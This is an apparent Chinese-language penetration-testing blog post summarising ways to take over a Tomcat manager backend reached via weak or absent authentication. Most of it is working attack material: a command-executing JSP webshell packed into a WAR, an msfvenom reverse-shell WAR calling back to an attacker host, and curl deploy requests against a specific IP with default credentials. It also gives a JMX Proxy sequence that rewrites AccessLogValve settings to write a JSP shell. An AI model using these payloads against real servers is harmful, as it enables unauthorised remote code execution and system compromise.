Tomcat 后台利用手法总结
date
Jul 6, 2022
slug
tomcat-anonymous-attak
status
Published
tags
Java安全
渗透测试
summary
这个场景的利用前提都是未授权或者弱口令进入后台然后进行操作,最近看到了一些文章,主要是后面两种,学习一下
type
Post
- 直接上传war包
这个很常见了不多说,主要是手工创建war包需要记录一下:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created
也可以直接通过msf生成:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
上传之后访问
/revshell/
即可- 通过API接口进行操作
有个接口可以直接进行部署war包的操作
curl --upload-file webshell.war -u 'tomcat:tomcat' "http://43.138.78.246:8080/manager/text/deploy?path=/monshell"


同样的也可以把站点应用deploy下线
curl "http://tomcat:[email protected]:8080/manager/text/undeploy?path=/monshell"
- 通过JMX Proxy 进行操作
JMX是个啥?
JMX
让程序有被管理的功能,例如某Web
网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值
所以网上也有很多JMX 管理界面,可以观察到一些运行类的属性,FOFA Search :
icon_hash="272128147”

而对于Tomcat而言,JMX的管理提供了一个接口,
JMX Proxy
,一般接口给第三方平台分析和管理,可以通过这个接口去获取Tomcat的一些信息http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
也可以修改某些属性:
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
BEANNAME
(类似类名)或者是触发函数:
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
RCE的思路,就是配合之前Spring RCE的方式,修改Tomcat属性写shell文件,修改的是AccessLogValve属性
/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69
这里有一个细节:要求其中的
val
参数为全部的URL
编码%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
开头和结尾的特殊符号从请求头的
p
和s
中获取/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp
/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell
JSP
的目录:webapps/ROOT
/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT
AccessLogValve
的rotate
功能/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val=
p
和s
请求头的请求,成功写入一句话GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//
这个利用JMX的点,主要利用场景有两个:1. 未授权或者弱口令的Tomcat服务 2. 使用了第三方平台对
JMX
进行管理,也是对JMX没有进行授权操作的